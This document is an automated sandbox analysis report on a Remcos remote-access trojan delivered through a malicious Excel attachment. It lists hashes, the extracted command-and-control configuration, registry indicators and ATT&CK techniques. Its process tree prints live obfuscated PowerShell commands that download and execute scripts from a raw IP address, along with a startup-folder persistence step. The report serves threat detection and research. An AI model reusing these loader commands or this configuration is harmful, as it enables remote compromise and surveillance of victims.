remcos | 9b0ac9fff5a7bf388a5921f555f31d9d6004901b62ed0d1da9eb0b19e04cbc46

General

Target

CITIREMITTANCEADVICE.xls
Size

119KB
MD5

2057c566db6fb1532e9bee1cdab7f018
SHA1

ac672abfc153fdabcbb1f1ffa149dc98e05e7c72
SHA256

9b0ac9fff5a7bf388a5921f555f31d9d6004901b62ed0d1da9eb0b19e04cbc46
SHA512

9e083e11b5fef981ce0234553ea8b61a0ccd264e03d6afab47242c6046e18bb665d24c5a604f7772dbf21ef3d6b0c0bb3bb70d16d08705a8b9e513ad3ef32df1

Score

10^/10

remcos aug rat

Malware Config

Extracted

Family

remcos

Botnet

Aug

C2

topboysully.dvrlists.com:10171

Attributes

audio_folder
MicRecords
audio_path
%AppData%
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
install_path
%AppData%
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
keylog_path
%AppData%
mouse_option
false
mutex
Aug-MR3KZU
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Remcos
take_screenshot_option
false
take_screenshot_time
5

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

WScript.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2656	2692	WScript.exe	EXCEL.EXE

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

30 4348 powershell.exe
45 2364 powershell.exe

flow	pid	process
30	4348	powershell.exe
45	2364	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exeWScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\Control Panel\International\Geo\Nation	WScript.exe

Loads dropped DLL 1 IoCs

Processes:

powershell.exe

pid process

2364 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2364 set thread context of 2992 2364 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
2364	powershell.exe

description	pid	process	target process
PID 2364 set thread context of 2992	2364	powershell.exe	RegAsm.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 24 IoCs

adware spyware

Modify Registry

T1112

Processes:

IEXPLORE.EXEiexplore.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000094c858eae3d57f4bbeeb69290716aab4000000000200000000001066000000010000200000008487b5a50687d86e9b6680b2cff32bf9a91851edfc1c8700832238ff92e52236000000000e8000000002000020000000dfe02e7c1fed7186bf8d50e5433b6a837ed8654c07d7165f9f9cea741662b8dd20000000dd54b365106ad700863ea69ad38d40ad81af3bcdf6736aa5027d95d06786e542400000006ed896e97d53fe321c145777ce4189cb025bf90d965f014cabbcb1a04a4a82fd4c7c3a6b1bd61f2c844c3976e3e5c638df1cc127812f4ad771b5e4530c8dfd4f	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 300bba785aadd801	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000094c858eae3d57f4bbeeb69290716aab400000000020000000000106600000001000020000000e0d50f06cc366cc5cca10b50222808ce104f1d7ea3040e5584b4450e36477432000000000e8000000002000020000000312d5b81f0b2894557d2407e78da4e0d845cfa8f0a2e6aa3ca35da5e04f7752f200000001f3e47e4c669f775ebd5b081ba3a8852acc3c913aac4a1b921d95b56ab9ff1e140000000ca9ce7d8ce836670d17a85db0674d440f172496917ae1e081613a1a94560ab1c4c91d98bd68b6b068c942bbd3079bbdb0ea187f962185184d87dbcd79af4d173	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{A2C738DD-194D-11ED-B78D-763E000A9C29} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\SOFTWARE\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = a0e1267a5aadd801	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe

Modifies registry class 3 IoCs

Processes:

EXCEL.EXEpowershell.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	EXCEL.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000_Classes\Local Settings	powershell.exe

NTFS ADS 1 IoCs

Processes:

EXCEL.EXE

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Local\Temp\{B45DECBB-9A86-467D-8E1D-5AAA0E481A09}\afJNP.txt:Zone.Identifier	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2692 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	process
4348	powershell.exe
4348	powershell.exe
5080	powershell.exe
5080	powershell.exe
2364	powershell.exe
2364	powershell.exe
5080	powershell.exe
2364	powershell.exe

Suspicious use of AdjustPrivilegeToken 45 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4348	powershell.exe
Token: SeDebugPrivilege	5080	powershell.exe
Token: SeDebugPrivilege	2364	powershell.exe
Token: SeIncreaseQuotaPrivilege	2364	powershell.exe
Token: SeSecurityPrivilege	2364	powershell.exe
Token: SeTakeOwnershipPrivilege	2364	powershell.exe
Token: SeLoadDriverPrivilege	2364	powershell.exe
Token: SeSystemProfilePrivilege	2364	powershell.exe
Token: SeSystemtimePrivilege	2364	powershell.exe
Token: SeProfSingleProcessPrivilege	2364	powershell.exe
Token: SeIncBasePriorityPrivilege	2364	powershell.exe
Token: SeCreatePagefilePrivilege	2364	powershell.exe
Token: SeBackupPrivilege	2364	powershell.exe
Token: SeRestorePrivilege	2364	powershell.exe
Token: SeShutdownPrivilege	2364	powershell.exe
Token: SeDebugPrivilege	2364	powershell.exe
Token: SeSystemEnvironmentPrivilege	2364	powershell.exe
Token: SeRemoteShutdownPrivilege	2364	powershell.exe
Token: SeUndockPrivilege	2364	powershell.exe
Token: SeManageVolumePrivilege	2364	powershell.exe
Token: 33	2364	powershell.exe
Token: 34	2364	powershell.exe
Token: 35	2364	powershell.exe
Token: 36	2364	powershell.exe
Token: SeIncreaseQuotaPrivilege	2364	powershell.exe
Token: SeSecurityPrivilege	2364	powershell.exe
Token: SeTakeOwnershipPrivilege	2364	powershell.exe
Token: SeLoadDriverPrivilege	2364	powershell.exe
Token: SeSystemProfilePrivilege	2364	powershell.exe
Token: SeSystemtimePrivilege	2364	powershell.exe
Token: SeProfSingleProcessPrivilege	2364	powershell.exe
Token: SeIncBasePriorityPrivilege	2364	powershell.exe
Token: SeCreatePagefilePrivilege	2364	powershell.exe
Token: SeBackupPrivilege	2364	powershell.exe
Token: SeRestorePrivilege	2364	powershell.exe
Token: SeShutdownPrivilege	2364	powershell.exe
Token: SeDebugPrivilege	2364	powershell.exe
Token: SeSystemEnvironmentPrivilege	2364	powershell.exe
Token: SeRemoteShutdownPrivilege	2364	powershell.exe
Token: SeUndockPrivilege	2364	powershell.exe
Token: SeManageVolumePrivilege	2364	powershell.exe
Token: 33	2364	powershell.exe
Token: 34	2364	powershell.exe
Token: 35	2364	powershell.exe
Token: 36	2364	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

4792 iexplore.exe

pid	process
4792	iexplore.exe

Suspicious use of SetWindowsHookEx 16 IoCs

Processes:

EXCEL.EXEiexplore.exeIEXPLORE.EXE

pid	process
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
4792	iexplore.exe
4792	iexplore.exe
3852	IEXPLORE.EXE
3852	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 25 IoCs

Processes:

EXCEL.EXEWScript.exepowershell.exeiexplore.exeWScript.exepowershell.exe

description	pid	process	target process
PID 2692 wrote to memory of 2656	2692	EXCEL.EXE	WScript.exe
PID 2692 wrote to memory of 2656	2692	EXCEL.EXE	WScript.exe
PID 2656 wrote to memory of 4348	2656	WScript.exe	powershell.exe
PID 2656 wrote to memory of 4348	2656	WScript.exe	powershell.exe
PID 4348 wrote to memory of 1408	4348	powershell.exe	WScript.exe
PID 4348 wrote to memory of 1408	4348	powershell.exe	WScript.exe
PID 4792 wrote to memory of 3852	4792	iexplore.exe	IEXPLORE.EXE
PID 4792 wrote to memory of 3852	4792	iexplore.exe	IEXPLORE.EXE
PID 4792 wrote to memory of 3852	4792	iexplore.exe	IEXPLORE.EXE
PID 1408 wrote to memory of 2364	1408	WScript.exe	powershell.exe
PID 1408 wrote to memory of 2364	1408	WScript.exe	powershell.exe
PID 1408 wrote to memory of 5080	1408	WScript.exe	powershell.exe
PID 1408 wrote to memory of 5080	1408	WScript.exe	powershell.exe
PID 2364 wrote to memory of 2992	2364	powershell.exe	RegAsm.exe
PID 2364 wrote to memory of 2992	2364	powershell.exe	RegAsm.exe
PID 2364 wrote to memory of 2992	2364	powershell.exe	RegAsm.exe
PID 2364 wrote to memory of 2992	2364	powershell.exe	RegAsm.exe
PID 2364 wrote to memory of 2992	2364	powershell.exe	RegAsm.exe
PID 2364 wrote to memory of 2992	2364	powershell.exe	RegAsm.exe
PID 2364 wrote to memory of 2992	2364	powershell.exe	RegAsm.exe
PID 2364 wrote to memory of 2992	2364	powershell.exe	RegAsm.exe
PID 2364 wrote to memory of 2992	2364	powershell.exe	RegAsm.exe
PID 2364 wrote to memory of 2992	2364	powershell.exe	RegAsm.exe
PID 2364 wrote to memory of 2992	2364	powershell.exe	RegAsm.exe
PID 2364 wrote to memory of 2992	2364	powershell.exe	RegAsm.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\CITIREMITTANCEADVICE.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies registry class
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2692

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\afJNP.js"
2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2656

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ErrorActionPreference = 'SilentlyContinue';$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;$we22='eW.teN tc' + 'ejbO-weN('; $b4df='olnwoD.)tnei' + 'lCb'; $c3=')''sbv.lhj\''+pmet:vne$,''sbv.tsorf/691.301.451.66//:ptth''(eliFda';$TC=$c3,$b4df,$we22 -Join '';IEX($TC|% {-join($_[-1..-$_.Length])});start-process($env:temp+ '\jhl.vbs');remove-item ($env:appdata + '\afJNP.js')
3⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4348

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\jhl.vbs"
4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1408

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $t0='QE150'.replace('Q','I').replace('150','x');sal P $t0;$gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,01100101,01100110,01100101,01110010,01100101,01101110,01100011,01100101,00100000,00111101,00100000,00100111,01010011,01101001,01101100,01100101,01101110,01110100,01101100,01111001,01000011,01101111,01101110,01110100,01101001,01101110,01110101,01100101,00100111,00111011,00100100,01110100,00110101,00110110,01100110,01100111,00100000,00111101,00100000,01011011,01000101,01101110,01110101,01101101,01011101,00111010,00111010,01010100,01101111,01001111,01100010,01101010,01100101,01100011,01110100,00101000,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,01010100,01111001,01110000,01100101,01011101,00101100,00100000,00110011,00110000,00110111,00110010,00101001,00111011,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01110010,01110110,01101001,01100011,01100101,01010000,01101111,01101001,01101110,01110100,01001101,01100001,01101110,01100001,01100111,01100101,01110010,01011101,00111010,00111010,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,00100000,00111101,00100000,00100100,01110100,00110101,00110110,01100110,01100111,00111011,01000001,01100100,01100100,00101101,01010100,01111001,01110000,01100101,00100000,00101101,01000001,01110011,01110011,01100101,01101101,01100010,01101100,01111001,01001110,01100001,01101101,01100101,00100000,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00111011,01100100,01101111,00100000,01111011,00100100,01110000,01101001,01101110,01100111,00100000,00111101,00100000,01110100,01100101,01110011,01110100,00101101,01100011,01101111,01101110,01101110,01100101,01100011,01110100,01101001,01101111,01101110,00100000,00101101,01100011,01101111,01101101,01110000,00100000,01100111,01101111,01101111,01100111,01101100,01100101,00101110,01100011,01101111,01101101,00100000,00101101,01100011,01101111,01110101,01101110,01110100,00100000,00110001,00100000,00101101,01010001,01110101,01101001,01100101,01110100,01111101,00100000,01110101,01101110,01110100,01101001,01101100,00100000,00101000,00100100,01110000,01101001,01101110,01100111,00101001,00111011,00100100,01110100,01110100,01111001,00111101,01010000,00101000,00100111,00101000,01001110,01100101,01110111,00101101,00100111,00101011,00100111,01001111,01100010,01101010,01100101,00100111,00101011,00100111,01100011,01110100,00100000,01001110,01100101,00100111,00101011,00100111,01110100,00101110,01010111,01100101,00100111,00101011,00100111,01100010,01000011,01101100,01101001,00100111,00101011,00100111,01100101,01101110,01110100,00101001,00100111,00101001,00111011,00100100,01101101,01110110,00111101,00100000,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01001001,01101110,01110100,01100101,01110010,01100001,01100011,01110100,01101001,01101111,01101110,01011101,00111010,00111010,01000011,01100001,01101100,01101100,01000010,01111001,01101110,01100001,01101101,01100101,00101000,00100100,01110100,01110100,01111001,00101100,00100111,01000100,01101111,01110111,01101110,00100111,00100000,00101011,00100000,00100111,01101100,01101111,01100001,01100100,00100111,00100000,00101011,00100000,00100111,01010011,01110100,01110010,00100111,00100000,00101011,00100000,00100111,01101001,01101110,01100111,00100111,00101100,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01000011,01100001,01101100,01101100,01010100,01111001,01110000,01100101,01011101,00111010,00111010,01001101,01100101,01110100,01101000,01101111,01100100,00101100,00100111,01101000,01110100,01110100,01110000,00100111,00100000,00101011,00100000,00100111,00111010,00101111,00101111,00110110,00110110,00101110,00110001,00110101,00110100,00101110,00110001,00110000,00110011,00101110,00110001,00111001,00110110,00101111,01110110,01101001,01101110,00101110,01101010,01110000,01100111,00100111,00101001,01111100,01010000) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };([system.String]::Join('', $gf))|P
5⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2364

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
6⤵
PID:2992

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Move-item 'C:\Users\Admin\AppData\Local\Temp\jhl.vbs' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\jhl.vbs'
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5080

C:\Program Files (x86)\Internet Explorer\ielowutil.exe
"C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding
1⤵
PID:4688

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4792

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4792 CREDAT:17410 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:3852

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
5f63331227ca7a936f3f8e00a55e23f7

SHA1
f2d862ac9f687bcc563b726cd5afbaa5b8e55bc2

SHA256
c5555b383f8537fc41c39ea131d78bdb80228d6842f161accb1c94c3ea0e841d

SHA512
f6ab7b6d6b9c73c75512e09aac7ffb4fb787805d42ee7ffd35344874020e18226f2c108e8cdeffefe32b725324f8bff336847eaa80405c732cf0c45a15cb0bd2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
454f9e7fa8aad19d6bac74d19b3086b2

SHA1
fd31e6cf15a019921faf239343ace0da3cfb06c2

SHA256
0f3226ebe6776806997c74f28e76ad5eb235909b8645d43d3564d823fc7834f2

SHA512
763af517762363994c0da1bbeef555ce4d8e7928b8dc9ece3aa90a24a232490f990c1948687957c55df2b010cc95c08267e4c5df48645739c70416c60a54840e

Download Submit
C:\Users\Admin\AppData\Local\Temp\00f4c54f-fbb7-4a6e-83b1-3711c40641b3\AgileDotNetRT64.dll
Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
C:\Users\Admin\AppData\Local\Temp\jhl.vbs
Filesize
2KB

MD5
3a3bfb3ab5fa0e2aa5ad155f48af983f

SHA1
0f6a8151de1fe379960ba564ad7a649e25742eef

SHA256
d4a047e9050069db2d1bfba78082c935bb57b5b9f513f342da112a16805ae411

SHA512
898ad6c5c923e862fe1af1e5b25870fee5a59f0dbb948b2a2d42de769d6461654be928a9fcd1161383777d4e96af4e7553e4692ffc4c2b11083b2afc4a3a3b2a

Download Submit
C:\Users\Admin\AppData\Roaming\afJNP.js
Filesize
1KB

MD5
f62b1ef0d290177e03b6d9bc2406223f

SHA1
5f324abbf52e3dbb3b88aa66d4f160f14bfe534d

SHA256
3cb928cf41db52f5a95c1e0191531fae10419a5706a671423ed61786e760b3bf

SHA512
2f455e10cdbe2972736d056180bb07ff3b157815fea85ba80bc06f185e249b25d73c525ef3378c89ab58ccc8873d1b8b60396d899a7eb516cd2f42cc68a5d352

Download Submit
memory/1408-142-0x0000000000000000-mapping.dmp

Download
memory/2364-160-0x00007FFDED380000-0x00007FFDEDE41000-memory.dmp

Filesize
10.8MB

Download
memory/2364-152-0x00007FFDE63F0000-0x00007FFDE653E000-memory.dmp

Filesize
1.3MB

Download
memory/2364-150-0x00007FFDED380000-0x00007FFDEDE41000-memory.dmp

Filesize
10.8MB

Download
memory/2364-145-0x0000000000000000-mapping.dmp

Download
memory/2656-137-0x0000000000000000-mapping.dmp

Download
memory/2692-135-0x00007FFDD4EE0000-0x00007FFDD4EF0000-memory.dmp

Filesize
64KB

Download
memory/2692-136-0x00007FFDD4EE0000-0x00007FFDD4EF0000-memory.dmp

Filesize
64KB

Download
memory/2692-166-0x00007FFDD7570000-0x00007FFDD7580000-memory.dmp

Filesize
64KB

Download
memory/2692-165-0x00007FFDD7570000-0x00007FFDD7580000-memory.dmp

Filesize
64KB

Download
memory/2692-164-0x00007FFDD7570000-0x00007FFDD7580000-memory.dmp

Filesize
64KB

Download
memory/2692-134-0x00007FFDD7570000-0x00007FFDD7580000-memory.dmp

Filesize
64KB

Download
memory/2692-133-0x00007FFDD7570000-0x00007FFDD7580000-memory.dmp

Filesize
64KB

Download
memory/2692-163-0x00007FFDD7570000-0x00007FFDD7580000-memory.dmp

Filesize
64KB

Download
memory/2692-130-0x00007FFDD7570000-0x00007FFDD7580000-memory.dmp

Filesize
64KB

Download
memory/2692-132-0x00007FFDD7570000-0x00007FFDD7580000-memory.dmp

Filesize
64KB

Download
memory/2692-131-0x00007FFDD7570000-0x00007FFDD7580000-memory.dmp

Filesize
64KB

Download
memory/2992-153-0x0000000000400000-0x000000000047E000-memory.dmp

Filesize
504KB

Download
memory/2992-154-0x0000000000431BE8-mapping.dmp

Download
memory/2992-156-0x0000000000400000-0x000000000047E000-memory.dmp

Filesize
504KB

Download
memory/2992-157-0x0000000000400000-0x000000000047E000-memory.dmp

Filesize
504KB

Download
memory/2992-159-0x0000000000400000-0x000000000047E000-memory.dmp

Filesize
504KB

Download
memory/2992-161-0x0000000000400000-0x000000000047E000-memory.dmp

Filesize
504KB

Download
memory/4348-139-0x0000000000000000-mapping.dmp

Download
memory/4348-140-0x00000242242B0000-0x00000242242D2000-memory.dmp

Filesize
136KB

Download
memory/4348-141-0x00007FFDEDE00000-0x00007FFDEE8C1000-memory.dmp

Filesize
10.8MB

Download
memory/4348-144-0x00007FFDEDE00000-0x00007FFDEE8C1000-memory.dmp

Filesize
10.8MB

Download
memory/5080-149-0x00007FFDED380000-0x00007FFDEDE41000-memory.dmp

Filesize
10.8MB

Download
memory/5080-146-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads